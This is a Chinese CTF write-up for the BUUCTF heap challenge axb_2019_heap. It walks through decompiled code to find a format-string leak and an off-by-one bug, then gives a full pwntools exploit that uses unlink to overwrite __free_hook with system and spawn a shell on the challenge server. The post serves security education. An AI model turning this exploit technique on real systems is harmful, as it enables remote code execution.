首页 > 技术文章 > off-by-one+unlink BUUCTF axb_2019_heap

pwnfeifei 2022-01-04 10:30 原文

Ζ一道Ubuntu 16 的unlink,就当复习了一下(摸了好长时间快忘得一干二净了)

主函数:发现show这个函数没用

 1 int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
 2 {
 3   int v3; // [rsp+Ch] [rbp-4h]
 4 
 5   init(argc, argv, envp);
 6   banner();
 7   while ( 1 )
 8   {
 9     menu();
10     v3 = get_int();
11     switch ( v3 )
12     {
13       case 1:
14         add_note();
15         break;
16       case 2:
17         delete_note();
18         break;
19       case 3:
20         puts("None!");
21         break;
22       case 4:
23         edit_note();
24         break;
25       default:
26         puts("No such choices!");
27         break;
28     }
29   }
30 }

banner函数:一个格式化字符串漏洞

 1 unsigned __int64 banner()
 2 {
 3   char format[12]; // [rsp+Ch] [rbp-14h] BYREF
 4   unsigned __int64 v2; // [rsp+18h] [rbp-8h]
 5 
 6   v2 = __readfsqword(0x28u);
 7   puts("Welcome to note management system!");
 8   printf("Enter your name: ");
 9   __isoc99_scanf("%s", format);
10   printf("Hello, ");
11   printf(format);
12   puts("\n-------------------------------------");
13   return __readfsqword(0x28u) ^ v2;
14 }

add函数:存在 off-by-one ,此外注意一下堆块大小要大于 0x80

 1 unsigned __int64 add_note()
 2 {
 3   int v0; // ebx
 4   int v1; // ebx
 5   size_t size; // [rsp+0h] [rbp-20h] BYREF
 6   unsigned __int64 v4; // [rsp+8h] [rbp-18h]
 7 
 8   v4 = __readfsqword(0x28u);
 9   printf("Enter the index you want to create (0-10):");
10   __isoc99_scanf("%d", (char *)&size + 4);
11   if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 )
12   {
13     if ( counts > 0xAu )
14     {
15       puts("full!");
16       exit(0);
17     }
18     puts("Enter a size:");
19     __isoc99_scanf("%d", &size);
20     if ( key == 43 )
21     {
22       puts("Enter the content: ");
23       v0 = HIDWORD(size);
24       *((_QWORD *)&note + 2 * v0) = malloc((unsigned int)size);
25       *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
26       if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
27       {
28         fwrite("error", 1uLL, 5uLL, stderr);
29         exit(0);
30       }
31     }
32     else
33     {
34       if ( (unsigned int)size <= 0x80 )
35       {
36         puts("You can't hack me!");
37         return __readfsqword(0x28u) ^ v4;
38       }
39       puts("Enter the content: ");
40       v1 = HIDWORD(size);
41       *((_QWORD *)&note + 2 * v1) = malloc((unsigned int)size);
42       *((_DWORD *)&note + 4 * SHIDWORD(size) + 2) = size;
43       if ( !*((_QWORD *)&note + 2 * SHIDWORD(size)) )
44       {
45         fwrite("error", 1uLL, 5uLL, stderr);
46         exit(0);
47       }
48     }
49     if ( !(unsigned int)check_pass((char *)&note + 16 * SHIDWORD(size)) )
50     {
51       puts("go out!hacker!");
52       exit(0);
53     }
54     get_input(*((_QWORD *)&note + 2 * SHIDWORD(size)), (unsigned int)size);
55     ++counts;
56     puts("Done!");
57   }
58   else
59   {
60     puts("You can't hack me!");
61   }
62   return __readfsqword(0x28u) ^ v4;
63 }

delete函数:

 1 unsigned __int64 delete_note()
 2 {
 3   int v1; // [rsp+4h] [rbp-Ch] BYREF
 4   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 5 
 6   v2 = __readfsqword(0x28u);
 7   puts("Enter an index:");
 8   __isoc99_scanf("%d", &v1);
 9   if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)&note + 2 * v1) )
10   {
11     free(*((void **)&note + 2 * v1));
12     *((_QWORD *)&note + 2 * v1) = 0LL;
13     *((_DWORD *)&note + 4 * v1 + 2) = 0;
14     --counts;
15     puts("Done!");
16   }
17   else
18   {
19     puts("You can't hack me!");
20   }
21   return __readfsqword(0x28u) ^ v2;
22 }

edit函数:

 1 unsigned __int64 edit_note()
 2 {
 3   int v1; // [rsp+4h] [rbp-Ch] BYREF
 4   unsigned __int64 v2; // [rsp+8h] [rbp-8h]
 5 
 6   v2 = __readfsqword(0x28u);
 7   puts("Enter an index:");
 8   __isoc99_scanf("%d", &v1);
 9   if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)&note + 2 * v1) )
10   {
11     puts("Enter the content: ");
12     get_input(*((_QWORD *)&note + 2 * v1), *((_DWORD *)&note + 4 * v1 + 2));
13     puts("Done!");
14   }
15   else
16   {
17     puts("You can't hack me!");
18   }
19   return __readfsqword(0x28u) ^ v2;
20 }

开了 PIE ,且 show 函数是假的,先利用格式化字符串漏洞泄露 libc 和基地址。

然后通过 off-by-one 来 unlink,改 chunk0 为 __free_hook,再向__free_hook里填 system 或 one_gadget 都可。

 1 from pwn import *
 2 context.log_level = 'debug'
 3 context.arch = 'amd64'
 4 
 5 #s = process('./1')
 6 s = remote('node4.buuoj.cn',29510)
 7 #libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
 8 libc = ELF('./libc-2.23buu.so')
 9 def add(index,size,content):
10     s.recvuntil(b'>>')
11     s.sendline(b'1')
12     s.recvuntil(b'Enter the index you want to create (0-10):')
13     s.sendline(str(index))
14     s.recvuntil(b'Enter a size:\n')
15     s.sendline(str(size))
16     s.recvuntil(b'content:')
17     s.sendline(content)
18 
19 def delete(index):
20     s.recvuntil(b'>> ')
21     s.sendline(b'2')
22     s.recvuntil(b'Enter an index:\n')
23     s.sendline(str(index))
24 
25 def edit(index,content):
26     s.recvuntil(b'>> ')
27     s.sendline(b'4')
28     s.recvuntil(b'Enter an index:\n')
29     s.sendline(str(index))
30     s.recvuntil(b'Enter the content: ')
31     s.sendline(content)
32 
33 s.recvuntil(b'name')
34 s.sendline(b'%11$p%15$p')
35 s.recvuntil(b'Hello, ')
36 base_addr = int(s.recv(14),16) - 0x1186
37 libc_base = int(s.recv(14),16) - libc.sym['__libc_start_main'] - 240
38 success('base_addr=>' + hex(base_addr))
39 success('libc_base=>' + hex(libc_base))
40 one_gadget = libc_base + 0x4526a
41 system_addr = libc_base + libc.sym['system']
42 __free_hook = libc_base + libc.sym['__free_hook']
43 note_addr = base_addr + 0x202060
44 success('note_addr=>' + hex(note_addr))
45 
46 fd = note_addr - 0x18
47 bk = note_addr - 0x10
48 add(0,0x88,b'aaaaaaaaaaa')  #0
49 add(1,0x88,b'bbbbbbbbbbb')  #1
50 add(2,0x88,b'/bin/sh\x00')  #2
51 
52 payload = p64(0) + p64(0x80)
53 payload+= p64(fd)+ p64(bk)
54 payload = payload.ljust(0x80,b'\x00') + p64(0x80)
55 payload+= p8(0x90)
56 edit(0,payload)
57 
58 delete(1)
59 
60 payload = p64(0)*3 + p64(__free_hook) + p64(0x10)
61 edit(0,payload)
62 #edit(0,p64(one_gadget))
63 edit(0,p64(system_addr))
64 
65 #gdb.attach(s)
66 
67 s.interactive()
68 '''
69 0x45216 execve("/bin/sh", rsp+0x30, environ)
70 constraints:
71   rax == NULL
72 
73 0x4526a execve("/bin/sh", rsp+0x30, environ)
74 constraints:
75   [rsp+0x30] == NULL
76 
77 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
78 constraints:
79   [rsp+0x50] == NULL
80 
81 0xf1147 execve("/bin/sh", rsp+0x70, environ)
82 constraints:
83   [rsp+0x70] == NULL
84 '''

 

推荐阅读